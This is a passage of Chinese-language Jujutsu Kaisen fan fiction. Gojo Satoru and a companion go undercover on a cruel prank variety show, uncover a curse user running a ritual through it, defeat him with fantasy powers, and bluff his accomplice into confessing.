于是,连聊天也相当自来熟的五条悟,只用了短短两句话往来的功夫,已经直接喊起了佐木杏理的名字,把对方脸都喊得通红,认真想了想才摇头。 “我上次来的时候,没有要求才艺展示……只是简单问了点题目。” 听到这里,五条悟疑惑眨了下眼。 “咦?那这个节目是要我们做什么?经纪人只把我和一真送来这里,什么也没交代就走了耶。” “什么……你们连这个综艺是什么都不知道,就被那种人拉过来凑数吗?” 旁边的另一位年纪更大些的女性似乎是听到了他们聊天内容,主动过来加入话题。 甚至在给五条悟和羽取一真解释前,她还显得有点气愤,小声骂了句那些家伙就知道赚人头费,也不解释清楚就把什么也不懂的新人送过来。 “实际上啊,会被邀请来参加这个节目的,要么就是过了气、为了钱什么节目都肯接的老人,要么就是想要攒人气、或是干脆赌一把能不能爆红的新人。” “不过,新人还是要经过面试的,算是做一个初步的筛选。毕竟那种根本没人气、也不可能红的新人,节目组也不会想要的哦。” 她用手指将落在腮边的发丝撩至耳后,小声对五条悟他们解释起来。 在场的同行倒也不是不清楚这点,只是要他们听见有人在现场这样直白的揭露出来,未免还是有些扎心。 “因为在这个节目里,我们这些艺人,只是供嘉宾和观众逗笑取乐的被整蛊对象啊,那肯定还是要有点名气的,整蛊起来才会更有意思吧?” ——她的声音更低了,“甚至更过分的也不是没有,比如上个月……” “铃华,那件事可不能随便说,你知道的。” 刚才跟她站一起的另一个人还是听见了只言片语,立刻过来拦她。 “照顾下新人啦,总得让他们有点心理准备才行。” 被喊作铃华的那位女性笑眯眯的,好像刚才什么事情也没有发生,她也没打算说出什么隐秘的内幕。 “但至少也别当着杏理的面……” 另一人仍然又强调一遍,眼睛还不动声色往那位少女方向偏了下。 “好-好,我知道了——” 铃华在嘴前极隐晦又短促的比了个拉链的手势,就不再继续说了,而是转过头冲五条悟他们眨了眨眼。 “总之啦,你们小心点,撑不住就快点放弃——反正以你们的脸,根本不需要这样的整蛊综艺也能爆火的,姐姐我看好你们哦。” 来回听着这两位艺人之间的对话,甚至连小动作也注意到的五条悟没有追问,而是超活泼应了声“好哦姐姐!”,然后拉着她们开始问其它事情——甚至连佐木杏理也没有放过,一并被拉进了聊天圈。 相比话不算多,脸上也没什么表情的羽取一真,五条悟就超会利用自己优势来打探线索,不仅表现得乖巧,说话又甜,还长着张格外漂亮的脸,让围在他们身边的艺人越来越多。 就算有工作人员或嘉宾听到门口传来动静,朝那边瞄来视线,也会立刻收回——收——收不回去了。 一手拿笔记本一手拿笔,耳朵还要从噪杂环境里准确分辨出水野导播跟她说的交代事项,正在埋头苦记的助理写到一半,突然感觉演播室里安静了许多。 “我们之前排的镜头……” 连水野导播也不说话了,刚说出口的上半句,半天都没有听见下文。 “水野导播?” 助理好奇抬起视线,就听见水野导播立刻改口说起另一个话题。 “那两个人,提到第一个面试。” “啊好……是白发和他边上那位吗?” “嗯,先把他们的资料拿给我看下。” ——而此刻,在等待着安排面试的演播室另一头,五条悟也正偷偷和羽取一真咬耳朵。 “你看见了吗,那里有留下咒力残秽……” 五条悟对上羽取一真那双完全茫然的黑瞳,正凝重的语气顿时一哽。 “……看不见?” “看不见。” “…等下,那你上课还听得那么认真?” “听得认真也不影响我看不见……” 羽取一真小声辩解。 游戏又没给个什么鹰眼视觉,让玩家能看见所谓的[咒力残秽],那他肯定是什么也看不见的……这又不能怪他。 “…………” 自小就被称作神童、顶着过亿悬赏金额长大的五条悟震惊得倒吸一口气,苍瞳瞪得圆溜溜的。 这家伙……原来是个咒术笨蛋啊! 第64章 于是, 在接下来的时间里,五条悟深刻理解了什么叫力不从心。 他就算再努力的教羽取一真又有什么用呢,对方都快把他的话倒背如流了, 但那双黑瞳还是迷茫望过来, 连表情都变超呆的! 这可把誓要教会对方的五条悟郁闷坏了。 他拥有[六眼],想假装看不见咒力残秽都难——这人倒好,明明那双眼睛像黑曜石似的又深又沉,却总是摇头回答还是看不见。 五条悟挫败的盯着羽取一真,甚至摘下了墨镜,试图用[六眼]看出点什么问题。 但很可惜, 除去流动在对方身体里的咒力量确实很低,低得都快跟普通人水准不相上下外, 五条悟完全没发现任何能解释得通的端倪。 反而是由于他长时间注视着羽取一真, 让对方也略显困惑的回望过来, 那双略深的黑瞳便与他的目光撞在了一处——在这长久的对视下, 谁都没有移开视线。 那双黑瞳极为专注的看着他,似乎以为他在思考新的教导方式, 于是便安静的、认真的等待着,莫名让五条悟内心升起一点恍惚的熟稔感。 总觉得……他好像在哪里,也被人这么看过? 外界光线自身后投射过来,连同他的影子一并倒映了进去, 让这片深沉又安静的大海在此时此刻, 浮起了细碎的浅淡粼光,好似翻涌的海浪起伏又落下。 五条悟的思绪被打断了, 又想起硝子的评价——有点阴沉。 他突然有点想笑,那种只有他一人看穿真相的骄傲与得意,同样在此刻悄悄浮起了些许在他心头, 交织成一种隐秘的愉快情绪,让他唇角不自觉的翘起。 说这家伙阴沉是肯定不可能的,是咒术笨蛋的可能性反而很高啦。 欸呀,在这点上也要让他这位前辈操心了吗?真是让人没办法—— “之后我再琢磨下,看能不能想出别的办法教会你,” 五条悟带着笑意拍拍羽取一真的肩膀安慰他,完全没有对后者的“愚笨”感到不耐烦的意思。 “这次就先听我的判断,嗯,这里确实有可能出现过咒灵,但我总觉得不对劲。” “为什么这么说?” 羽取一真虚心求教,十分配合的问道。 “这算是一种经验之谈啦……咒灵啊,一般都不会离开自己的出生地。” 五条悟摊开左手,让右手的指尖在左手掌心画了个圈,尽量生动的给羽取一真解释道。 “通常来说,咒灵在哪个地方诞生,就会留在那里一直搞破坏哦,直到被我们祓除为止。” ——他边说着,边假装右手的食指与中指是咒灵,像弹钢琴那般,从左手的小拇指开始一根接一根地点过去。 “就像这样啦,不停地、不停地袭击普通人,只凭借被负面能量支配的本能行动。哪怕是能产生本体意识的特例,行动间也会造成大量的伤亡。” “也就是说,超过一个月都没有伤亡动静的现状,是不正常的?” 羽取一真在上周目被那个夏油杰算计了太多次,近乎条件反射地吐出了一个单词。 “是[人为]。” “Bingo——虽然你是个咒术笨蛋,但是在咒术以外的脑子还是很好使的啦,我可以夸夸你哦。” 五条悟唇角的笑意加深些许,再开口些的声音被压得更低了。 “我怀疑这件事是诅咒师干的。” ——在他小声说出这句猜测时,恰好演播室另一头有人拿着喇叭在喊“面试的来我这边集合,按我喊出的名字排队”之类的话,又重复了好几遍。 于是五条悟和羽取一真先暂时中止关于任务的讨论,跟着人流往集合点走去。 他们原以为自己来得很晚,应该要等到很后面才能轮到,没想到头两个念出来的名字就是五条悟和羽取一真。 而问答更是简单,只略微问了名字、年龄和所属事务所,水野监督就当场同意他们加入下午的拍摄。 接着便有另外一个工作人员过来给他们带路,先去休息间做准备工作——比如,这两个少年竟然都没有化妆! “这是什么……我们也要化妆?!” 当五条悟被一路按在亮了圈灯的镜子面前坐下,随即就是一个漂亮姐姐端着奇奇怪怪的盒子过来要给他脸上涂东西时,简直是受惊到了瞳孔地震的程度。 “当然啦,大家都化妆就你不化妆的话,你会没有优势啦,” 能给样貌超顶级的白发少年化妆,漂亮姐姐整个人都变得笑眯眯的,说话也是又轻又柔,哄着他闭上眼睛。 “至少来涂个粉底和唇膏……” 五条悟:“……………” 等下、等下……救命! “……” “…………” “咦,奇怪……怎么就是没涂上?” 结果就是漂亮姐姐看着自己仍旧是满满粉底液的手指,肉眼可见的困惑极了。 她明明感觉指尖已经碰到了阻力来着……为什么这些粉底完全没有沾到对方的脸上? 与此相对的是五条悟几乎当场从座位上弹起,拉着羽取一真对漂亮姐姐高喊一句他们不化妆,就直接冲出了休息室。 羽取一真跟着他跑,没忍住漏出一点点笑声。 五条悟刚才,竟然被吓到对着普通人开了[无下限]术式…… 听到身边传来的低低笑声,五条悟:“…………” 他忍了又忍,还是转头对羽取一真发出了格外认真的警告。 “绝对不准说出去!” “好。” “真的?” “真的。” 看着那双往常总是大而圆的苍瞳微微眯起,一副十足狐疑的表情,羽取一真想了想,和他做交易。 “我不说出去,你也不告诉别人我是咒术笨蛋。” 虽然他其实完全不在意自己在咒术方面是不是个笨蛋之类,但既然这时候能拿出来做交易条件,让悟放心,那么他也完全不介意自己主动提出这点,让悟也帮忙保密他是咒术笨蛋这回事。 这样一来,对方也能安心自己不会说出来吧? “——成交。” 果然,那双正审视着他的苍瞳瞬间收回去,转而伸出拳头跟他碰了碰,格外痛快的成交了。 在五条悟的心里,这件事瞬间就变成了好哥们之间的小秘密……还挺兴奋的。 当他们再回到演播室时,正在勾画名字的助理还有点奇怪五条悟他们怎么这么快就回来了,但在忙碌之下也没多问。 “在那边等一会儿就好,录制很快就开始。” “好哦。” 压根没化妆的五条悟格外淡定应道,和羽取一真往录制舞台旁边的观众空位走去,随意挑了个位置就坐下了。 第65章 在演播室的另一边, 仍旧有新人在等待面试,但相比一开始的拥挤,此刻已被刷掉许多, 离开了演播室。 羽取一真粗略扫了眼, 刚才和五条悟聊过挺长时间的杏理和铃华都在——前者是作为新人同样成功通过面试,后者则是被邀请来的常驻过气艺人。 而另一边,舞台中还有许多工作人员扛着道具来来往往,在布置等会录制节目需要的场地。 坐在观众席的五条悟托着下巴,始终保持着一种饶有兴致的表情在望那边看他们忙碌,完全没有觉得无聊。 他在看舞台, 羽取一真在看他。 五条悟对他人落在自己的视线相当敏锐,更别提羽取一真这样根本没有任何掩饰的目光;但他却维持那望向舞台的姿势过了片刻, 才转过脑袋来问羽取一真, 每个音节里都藏着笑意。 “怎么了?” “还以为你会等得不耐烦。”羽取一真实话实说。 毕竟就连上课的时候, 五条悟也很容易感到无聊, 有时撑着脑袋打瞌睡,有时在草稿纸上画点自娱自乐的东西。 还有些时候, 羽取一真能看见他埋头在纸上运算很复杂的公式,能在一节课的时间里写满好几张纸。 “啊,那是老师讲的知识太简单啦,我早在五条家待着的那会就全部学过了。” 五条悟瞬间听懂了他的言外之意, 很随意地甩了下手, 露出有点嫌弃、又混杂着点抗拒的表情。 “像普通的家系咒术师呢,会从小跟着家里的长辈学习咒术的相关知识, 进行基本的咒灵辨认和祓除,等满一定年龄后再进入咒术高专。” “但御三家可不得了哦,尤其是觉醒了祖传术式的小孩, 从小就被关在家里接受各种精英教育,连出门做点任务都得一群大人围着……反正就是没什么自在可言,总的来说就是超——烦人。” “所以你才跑来东京高专上学。” 羽取一真想起夜蛾老师来接他时,说自己之前在处理一个有点麻烦的新生身份——百分之百就是指五条悟了。 此刻的他们正坐在远离人群与灯光的观众席角落里聊天,在喧闹之外单独划出了一片仅属于二人的寂静。 “是啊,我要来东京高专上学这件事不是家里的安排,而是我自己强行要求的。” 五条悟也整个人朝后靠在椅背上,换了个双手环抱在胸前的大咧咧姿势。 整个人已经显得相当反感家里那些老头的唧唧歪歪,尤其是一开始还禁止他来咒术高专上学。 但他不仅来了,来的还是在东京的这所高专,而不是去距离五条家更近的京都那边。 至于为什么他能一意孤行成功…… “那些老家伙可打不过我。” 五条悟自鼻间哼出一声得意洋洋的语调,眉眼间都因此变得格外神气而恣意。 “我可是很强的啊——嗯,比绝大多数人都要强吧!” [六眼]加[无下限],即使现在能用的攻击性术式只有术式顺转·[苍],也足以令他在几乎所有战斗中,都立于不败之地。 羽取一真认真回应道:“不,你是最强的。” 毕竟他还记得漂亮大悟的亲口描述——哪怕想要毁灭世界也不在话下。 虽然不知道现在的漂亮小悟能不能做到,但他神情明显高兴了下,应该是很喜欢听到这句夸夸。 也可能是将这句话当作他未来的目标。 “反正现在呢,不止独自住宿舍的感觉让我感觉很自在哦,连做任务也是。” ——五条悟抬了抬下巴,指向那边仍在忙碌着喊些什么的工作人员。 “我以前只看过电视节目,还是头一次见到那些节目是这样拍出来的呢,真的超有意思!果然还是要出门,才能亲自体验很多事情的乐趣嘛。” “以前不能出门吗?” 羽取一真皱了点眉毛,显然没想到五条悟在来高专上学之前,竟然被管得这么死。 “啊,那帮老家伙说是禁止我出门,担心遭到悬赏刺杀之类的。” 五条悟撇了下嘴,很快又笑起来,“但我怎么可能乖乖听他们的话?当然是自己跑出来过很多次了。” 大概是那双黑瞳总是很专注的看着他,倾听时也不会露出不耐烦或不赞同的神态,让他总是会不自觉多说一些。 “那太好了。” ——五条悟就知道他会这么说,于是他也格外得意又高兴的回了句“对吧?”,视线重新落回在舞台那边,直到对方又开口。 “悟。” “嗯?” “你说…五条家的那些人要是看到你突然出现在电视上,会不会吓得把碗筷都摔碎?” “…………” 那双苍瞳瞬间听大了一圈,还变得亮晶晶的,好像有只小恶魔正在偷偷磨爪子。 ………… 为了赶拍摄进度,整个面试流程非常快,羽取一真和五条悟坐了没多久,就被喊下来准备拍摄。 几架摄影机对准舞台,终于赶到的主持人在给话筒做试音,负责提供现场反应的嘉宾围着边缘坐满小半圈,所谓的艺人们则如同被观赏的动物园猴子,要求脱掉鞋袜后踩在一大块奇怪的白色金属板上。 这块铺设在舞台中央的金属板摸上去很光滑,触感冰凉,很难令人想象出这到底是用来做什么的。 站在上面就算是整蛊了吗? 很多艺人同样抱有这个疑问,但其实,他们在这场节目的整个流程中都没有丝毫话语权,只能按照节目组安排的来。 五条悟和羽取一真被安排在了正对观众席的前排靠边的位置,算是在新人里最好的待遇了。 但作为整蛊节目,这样的待遇也不知道到底该不该被称之为“好”。 佐木杏理正好被安排在他们后面,似乎格外紧张,默不作声地攥紧了自己的衣服。 当导播正式要求开拍后,主持人便面带微笑,开始说起节目惯例的开场白。 介绍被邀请来的过气艺人时,还会时不时用挖苦似的语气调侃几句,惹得嘉宾们哄堂大笑。 果然是不打算正经尊重艺人的整蛊综艺。 五条悟和羽取一真有被导播特别关照过,只介绍了下名字,又夸赞两句样貌就过去了。 但按照主持人的要求——也可能是导播那边刻意增加的台本——五条悟刚上场时还没说戴墨镜不行,念到他名字时,却被前者要求将墨镜摘下来,完整露出那副漂亮又精致的好样貌。 “哎呀……这可不得了哦,请大家欣赏这张十分伟大的脸——” 主持人略停顿片刻,才特意拖长了声音,将气氛烘托起来后,又在后半句急转直下。 “不知道在待会要进行的爆笑忍耐大赛中,会出现怎样奇怪的颜艺呢!” 五条悟:“……?” 什么意思,竟然想看他出糗? “那么,这期的爆笑忍耐大赛,正式开始!请各位务必忍耐到最后,神秘大奖在等着你!” 主持人的一挥手,五条悟瞬间感觉到不对劲——这块金属板,在持续释放弱电流! 这种电流并不会伤害人体,但密密麻麻从足底传来被蚂蚁蛰咬似的刺激,会让很多承受不住这种强烈知觉的人做出类似跳踢踏舞的条件反射,显得格外滑稽。 而这些各有不同的忍耐反应,就是取乐嘉宾与观众的最好工具。 换句话说,让这些艺人被迫做出与平时光鲜亮丽的形象完全不同的崩坏反应,才是节目组的终极目标。 这种把人当小丑戏耍取乐的垃圾节目,难怪有点名气的明星都不愿意过来。 五条悟在心底翻了个白眼,刹那间展开的[无下限]术式让他跟金属板之间隔了层肉眼几乎无法观测到的空气薄膜,赝本还在逐步加强的弱电流刺激顿时消隐无踪。 他正要转头问羽取一真要不要帮助,就看见对方仍旧瘫着张毫无表情的酷哥脸,半步也没挪一下。 五条悟隐隐察觉到,那双看似淡漠的黑瞳深处还透着点迷茫,就好像在问——怎么了突然这是? “你没感觉吗?” 有摄影机在不太好大声说话,他便朝羽取一真的方向侧过身,近乎是紧贴对方的耳朵轻声说道,另一手的指尖不动声色朝下点了点。 “这个,弱电流。” “………没有。” 羽取一真心想以这游戏的痛觉反馈机制,他给自己小臂划一刀都跟被蚊子叮差不多,这点弱电流当然是毫无知觉。 “…………” 听到这答案的五条悟小声吸了口气,又轻轻对他开口。 “原来你还是个特别皮实的咒术笨蛋……” 这句调侃把他自己都说笑了,转回脑袋时还在偷偷的笑,有摄像机在都压不住那翘起的嘴角。 大概连主持人都没想到他们能这样老神在在的站着,半点受影响的反应都没有,在一众龇牙咧嘴的反应里显得格外突出。 那个白头发的,竟然还在自顾自的笑! 他刚调侃完一圈被弱电流刺激出各种滑稽表现、甚至难以忍耐到逃离金属板的艺人,现在正好顺势绕着金属板往这边走来。 “让我们来看看这两位新人的反应——哇哦,真是让人吃惊,这宛如不动金刚般的傲然姿态!是在强行忍耐吗,还是扛电流能力比一般人强呢!” “不对吧,普通人没人能锻炼出这种能力吧!” 嘉宾席上还有人在拍着巴掌哈哈大笑,回应主持人那夸张演绎的解说。 对此,主持人自然不介意将氛围吵得更火热一些,顺势将话筒递向五条悟的方向。 “哈哈,那么就让我们来采访一下五条小哥好了!请问你能做到如此不动如山的秘诀是——?” 他本以为五条悟会配合的如实回答,没想到在嘉宾与幕后工作人员的众目睽睽、在多个摄像机的包围之下,这位有着超高颜值的白发少年往后退了好几步,一直退到这块偌大金属板的中央位置,才双手负在身后,好整以暇的开口道。 “你过来啊,你过来我就告诉你。” 低头瞄了眼自己脚下这双并不绝缘的皮鞋,主持人沉默了。 “…………” 第66章 五条悟的这句话一出, 满场寂静。 哪怕是正龇牙咧嘴忍耐着弱电流的其余艺人,也用一种“你小子不怕得罪人吗”的震惊目光看向他。 毕竟在这个靠整蛊艺人爆火的综艺节目里,他们这些被整蛊的人其实才是鄙视链的最底端。 别说导播不能得罪, 主持人同样是绝对不能得罪的对象。 而眼前这个白发少年, 不仅没有配合节目组做出被整蛊的反应,还出言挑衅主持人——想知道答案?那你也给我过来一起挨电。 但主持人不想被电。 他的笑容都僵硬了,想要改为采访同样和他一起来的羽取一真时,却见到对方也跟着退到五条悟的身边,意思格外明显——五条悟让你过来挨电,你就乖乖过来被电。 主持人对这两个刺头完全无可奈何。 为了不真的挨电, 他都准备放弃对这两个刺头的采访了,却没想要摄像机那边的导播助理举起小黑板, 上面的提示词格外明显。 [配合]。 主持人:“…………” 在这个节目里, 导播的权力是最大的, 无论他说什么, 在这么多摄像机的环绕下,他都最好要遵守。 主持人只能硬着头皮往金属板上走, 一路龇牙咧嘴、东倒西歪的来到五条悟面前,引得嘉宾多次捧腹大笑,才在五条悟面前哆嗦着腿站稳。 这倒不是被吓得,纯粹就是被电的。 随着倒计时临近, 此刻的弱电流已经被增强太多, 连他开口说的话都抖抖索索的,好像被凛冬寒风吹得直发抖的下颚。 幸好五条悟没有更为难他, 在这块金属板上跟他玩[你追我逃]。 “可……可以……说了吧……” “当然可以啊,” 五条悟笑眯眯的弯起苍瞳,对着他一字一句说道, “因为我是傩鬼嘛。” 主持人的表情瞬间顿住了。 五条悟的伸出一根手指,压在被伸到他面前的话筒上,慢条斯理地将这玩意移开,好让自己接下来的声音不会被放大到整个演播室。 “我说啊,你早点坦白那个诅咒师在哪里比较好哦。” 冷汗浸湿鬓发,但主持人的声音听起来还算正常——或者说,是被电流刺激得颤抖的正常。 “我不明白你在说什么。” “……哈,这种老套的台词,我还以为只会在侦探动画片里听见啊。” 五条悟对他做了个嫌弃的鬼脸,那双苍瞳却始终认真的盯紧主持人,让他感觉自己好似被野兽咬住喉咙的猎物,随时都会彻底丧命。 “你不是术师,身上却缠绕着这么重的咒力残秽,一定跟对方关系匪浅吧。” ——五条悟慢吞吞的继续道,“甚至,那人还特别交代了你,要警惕像我这样顶着五条悟名字、同时还是白发蓝瞳的人来追查,对不对?” 所以才会在听到他名字的时候,非要打着哈哈让他把墨镜也摘下来,确认身份特征。 “………” 主持人哆嗦着腿,不敢回答。 “不过嘛,咒术界里听过我名字的人,都会吓得离我远远的。” 五条悟冲他歪了点脑袋,对羽取一真时的那些亲近与好相处,在此刻尽数不翼而飞,化作一种近乎淡漠的非人感。 “你这家伙竟然还能佯装若无其事的来对着我找死,还挺了不起的。” 这下,主持人被真正吓得连滚带爬的摔出了金属板。 ——在无数双眼睛的注视中。 “哈哈哈哈哈!” 嘉宾顿时哄然大笑。 他们才不在乎到底是谁出丑,只要能看见高高在上的大人物此刻露出的滑稽表演,他们就会很高兴。 但主持人可不这么想,他觉得这下是真的搞砸了,导播应该会喊停吧…… 可当他往导播那边偷瞄的时候,却看见助理举着小黑板—— [效果很好,继续]。 横空出世的新人不仅长得好看,没被整蛊成功,还能反过来把主持人吓得出糗,这多有爆点! 至于中间有段挺长时间的台词空白,没事,他们可以加速,再用能体现出白发少年帅气站姿的视角来回切换几下。 主持人这下是真的要哭了。 但他不能搞砸现在这个深受导播喜欢的氛围,还得继续笑着说词。 最终,他只能顶着一脸相当难以形容的扭曲苦相,进行一番自我调侃,将这个环节赶紧打哈哈糊弄过去。 五条悟和羽取一真不出所料的站完了整个倒计时,全程泰然自若,成为忍耐大赛唯二的赢家。 然后,他们才发现所谓的大奖是当红时尚杂志的一期封面再配上独家专访。 对于过气艺人和新人而言,确实是很好的曝光资源。 唯有顶着假艺人身份的五条悟和羽取一真陷入了沉默。 对他们来说,完全没用……甚至还不如直接发一笔钱。 节目录制结束时,导播还特意鼓着掌来夸奖他们“表现得太完美了,这期节目一定会很有看头!”,并期待他们未来还有机会继续合作。 在不涉及咒术界相关事情时,五条悟总是对普通人表现得很有礼貌,大概是潜意识把他们当成了不仅不能出手、还需要保护的对象。 哪怕他觉得这样保护很心累,但还是会去做。 五条悟一边笑眯眯附和着“好哦好哦”、“一定一定”,一边拉着羽取一真悄悄开溜,去追离开演播室的主持人。 “是诅咒师安排那个主持人做的?”羽取一真在路上问道。 “差不多吧,这间演播室四处都散落着咒力残秽,应该是一直被某个诅咒师当成了提炼负面能量的场地。” 五条悟带着他奔跑在这栋大楼的长廊里,凭借着咒力残秽的踪迹在追逐目标。 “[追傩]——你大概有听过这个,是寺庙一种驱赶恶鬼的祈福仪式。古时候,有的地方会安排穷人扮演在街道上游荡的鬼,其余人则往他身上砸石头、扔豆子、撒盐,直到把鬼赶跑为止。” “如此一来,他们就会认为自己获得了来年的幸福、平安和健康。恶意则全部由鬼来承受。” 五条悟没有再戴回墨镜,那双完全露出的苍瞳正专注地来回逡巡,口中边语速飞快的跟羽取一真解释。 “而这个节目,就是现代版本的[追傩仪式]。” 艺人变成了需要被驱逐、承载着恶意的鬼,而观众是朝他们哈哈大笑的、砸石头撒豆子的人。 “通常来说,这样整蛊的节目也没什么。” 五条悟边跑边从口袋里掏出一张被他揉得皱巴巴的符纸,递给羽取一真。 “但诅咒师总能想出将情绪负面化的手段,恶意挑拨人类的内心底线,让他们做出更过分的行为。” “这是什么?”羽取一真来回翻着看了那张画满奇怪符号的纸,还是搞不懂。 “你就当做是用来实现某种特殊效果的魔法阵吧,” 五条悟想了想,发现很难定义的他干脆利落的这么总结道。 “我刚才从观众座位底下找到的。” 这也是他刚才特意挑了那个位置坐下的缘故。 虽然一开始,他还以为身上同样带着咒力残秽的杏理是同伙来着,才特意去找她搭话的。 但现在看来,她、应该说她身边的某位亲人或朋友,大概率是受害者啊。 话说这栋大楼的结构也太复杂了,来来往往的普通人又多得要命,他都险些跟丢了好几次,幸好有主持人身上的咒力残秽一直指引方向。 哪怕隔着墙,[六眼]也依旧看得清楚。 可恶啦,都怪辅助监督说不能搞破坏!要是这里人群都被疏散干净,他早就对着墙一拳一个窟窿,利索的开出条直线距离了! 五条悟在内心超不满的鼓起脸,但脚下半点没停,带着羽取一真从六楼一直往上跑,跑到连在长廊走动的工作人员都逐渐变少,楼层数也越来越高—— 最后,他们停在了一间连门都看起来很豪华的办公室面前。 中间挂了个镂刻相当精致的金属铭牌,写有[部长办公室]这几个字。 “部长啊……没想到竟然都混到部长了嘛。” 五条悟嘀咕一句,上手就毫无顾忌的直接将门推开——里面正是主持人和另外一人,齐刷刷看过来的目光里透着不敢置信,比见到鬼的表情可惊恐多了。 “嗨-嗨,是五条悟来了哦——” 敲门?敲门是不可能的,诅咒师不值得他表现出礼貌。 “看你干的好事,竟然把五条悟都吸引过来了!” 那个模样威严的家伙——应该是部长的中年男性,简直是气急败坏,甚至挥手就给了主持人一记耳光。 “你觉得我能对付他是不是?你以为我为什么这么谨慎的窝在这种小地方,稍微大点的动作也不敢做?” “那还不是你上次太贪心不肯收手,害死了人……” “只是区区一个人而已,警察和在场的目击者不是都被封口了吗!” 部长厉声斥责主持人,就像平时训斥下属那般凶狠。 “我早就该连你也一起——” “好了好了,我不是来看你们互相推卸责任的。” 五条悟先一步不耐烦的打断他们吵来吵去,双手五指张开,比出[苍]的起手式。 “你们是先跪下来求我饶你们一命呢,还是我揍到你们跪下来求我饶你们一命呢?” 那双往日总是透出愉快笑意的苍瞳,在此刻却好似结了冰的湖面,透出他在战斗时冷漠而高傲的一面——那是他自小便立于强者顶端,经过无数次完胜后所堆砌出的从容与自信。 以及,对待敌人的毫不留情。 “限时三秒——来,给我选吧。” 第67章 “等下, 我……” 那个部长可能还想狡辩点什么,五条悟才不会给他机会。 当他是在演什么大河剧吗,非要等台词说完了才能开打?他又不是真的准备放过他们——换言之, 无论这两个家伙求饶或者不求饶, 五条悟都会狠狠揍他们一顿。 “1——3,[苍]!” 说是思考三秒,五条悟口中的从一到三是连起来念的,快到根本不打算给敌人反应的时间。 紧接着,凭空生出的诡异吸力好似庞大而透明的深海漩涡,几乎是瞬间就让这两个倒霉蛋狠狠撞在一起, 又连同周围的办公桌、茶几、沙发,一切都好似那张被五条悟揉成一团的符纸, 被某种沉重的、不可违逆的力道狠狠碾碎, 最后化作被[苍]吸引的一部分。 整间办公室瞬间被刮得一片狼藉, 无数被掀起的物品在人造的小型飓风中呼啸盘旋, 纷纷将自己撞得粉身碎骨。 而在这场宛若恒星坍缩的小型浩劫中,部长和主持人连声哀嚎都没来得及发出来, 就被撞得头破血流的倒在废墟里,一动也不动了。 “嘿——咻!收工收工。” ——直到确定敌人彻底失去反抗能力,五条悟才将五指捏拢,仿佛真的是他虚空将这些东西碾碎般, 以一个凭空抓握的手势作为咒力输出的收尾。 如果说高阶咒灵还能凭借特殊的身体构造来抗伤害的话, 那么像诅咒师这种顶多只能用咒力强化些许身体的普通体质,根本挨不了五条悟的一记术师攻击。 等这阵稀里哗啦坠落的动静消停, 五条悟才优哉游哉地踩着那些已经分不清原样的碎屑往里走,把那个诅咒师连带主持人一齐从废墟里挖了出来。 他想了想,先两巴掌扇醒主持人。 “喂别睡, 先回答我几个问题。” 主持人一睁眼,就看见这个笑眯眯的白发恶魔正蹲在自己眼前,顿时就是吓得一哽,险些再度抽过去。 从来没有遇见过这么让人感到恐怖的少年! 眼见对方再度抬起手,一副你要睡他就继续弄醒的架势,主持人的脸都垮成了苦瓜。 “你……你问吧。” 五条悟先朝羽取一真招了招手,示意他去帮忙看着部长——对方要是醒了,就再给他揍晕。 元凶的狡辩有什么好听的,他要先独自审问下这个明显只被简单科普过咒术界相关情报的普通人同伙。 “上个月的闹鬼事件,解释一下。” 五条悟拿出手机,先打开录音功能,再对着主持人冷酷命令道。 毕竟任务给的要求是[找到真相]嘛,他记着呢。 至于这间宛若飓风过境的办公室? 五条悟对此格外理直气壮,半点也不觉得心虚。 他的术式就是这样的有什么办法啦,为了对付敌人,他只是一不小心顺便破坏了一点点家具……只是不小心的,破坏了一点点而已啦。 辅助监督和夜蛾老师肯定都不会介意的! 五条悟略微走了下神,又见这个主持人半晌不肯开口,一副只要我不招供你们就拿我没办法的无赖态度,不禁皱起了点眉毛,思考要不要再多揍他几拳。 就在这时,见到五条悟这边陷入烦恼的羽取一真走过来,一手掐开主持人的嘴巴,另一只手塞了个丸子似的小东西进他嗓子眼,强迫人吞了下去。 “你……你给我吃了什么?” 后知后觉想起这两位都是咒术界那边的人,主持人的表情顿时变得惊恐起来。 “不回答真话就会死的符咒。” 羽取一真口吻淡淡,松开主持人下颚的右手顺势转成并拢二指竖起,好似真的在对他施展术式。 “这就是我的术式。听说过埃博拉病毒吗?它的效果就像那个病毒,会在你拒绝回答的时候开始啃噬你的身体,最终使你慢慢[融化]。” 主持人的脸越听越绿。 他很不想相信会有这种稀奇古怪的东西,但白发少年那轻而易举碾碎一切的力量,那份连部长都毫无还手之力的霸道与野蛮,让他根本不敢赌自己的命。 万一是真的呢?他可不想死在这里啊! 何况搭配上羽取一真那张面无表情的冷脸,更是说服力翻倍。 连五条悟都半信半疑地转头看向自己的好哥们——他之前确实一直没问过对方术式……竟然是这样的? “这……这不可能,你在……骗我……” 主持人的声音开始发抖,比之前站在金属板上抖得还要厉害。 “你可以不信,只要敢承担后果。” 羽取一真淡淡道,“而我的要求,只需要你老实交代整起事件罢了。” 主持人:“…………” 主持人哭丧着脸,终于开始老老实实从头讲起,让五条悟将这一切都录成了口供。 简单来说,那个部长确实是个躲藏在普通社会里的诅咒师,这起闹鬼事件确实是他引发的。 诅咒师能混成电视台部长这点倒也不稀奇,毕竟自五条家的[六眼]出生后,绝大多数诅咒师都不得接受了一个事实——他们曾经为所欲为、兴风作浪的时代,已经彻底化为了乌有。 但这些因对普通人出手而被定义为诅咒师的术式,同样也是不再被咒术界接受的犯罪者。 因此,几乎所有诅咒师都被迫隐藏起身份,混迹在普通社会之中,行踪能藏则藏,尽量不露出马脚。 可藏归藏,他们出于各种目的,还是会不断的做点小动作。 比如这次的事件,就是这位部长想要借这个现代整蛊节目,做一场类似[追傩]的仪式,再借助提前布置好的咒纹,不仅让负面能量被催生得更多,还可以不断沉淀、提纯在那间演播室里,为他所用。 “我也是为了前途,才不得已和部长合作的,否则就得丢了饭碗。” 主持人可怜巴巴的求饶道,“而且这么邪门的事情,就算我说出去也没人会信的。” “何况我只是按照他的要求布置画着奇怪花纹的纸,主持整个节目流程,引导下现场氛围而已……我真的没想过害人的,真的!” “这点我说了也不算,到时候你自己去跟上面好好掰扯吧。” 五条悟撇着嘴摆了摆手,示意他快点继续讲。 “诅咒师的把戏我听得多了,你给我讲讲被杀死的那个工作人员是怎么回事。” 主持人瞬间紧张起来,似乎想要支支吾吾的含混过去——只说一半真话,也算是说了真话。 “那个……” 五条悟睁大苍瞳看着他,那片结了层冰的蓝在此刻显得如此锐利而剔透,几乎令主持人感觉他从头到脚淋了一桶冷水,连内心想法也被看得一清二楚。 “别想对我隐瞒啊,大叔。明显和佐木杏理那个女孩有关联吧,我和她的关系可是很好的哦?” 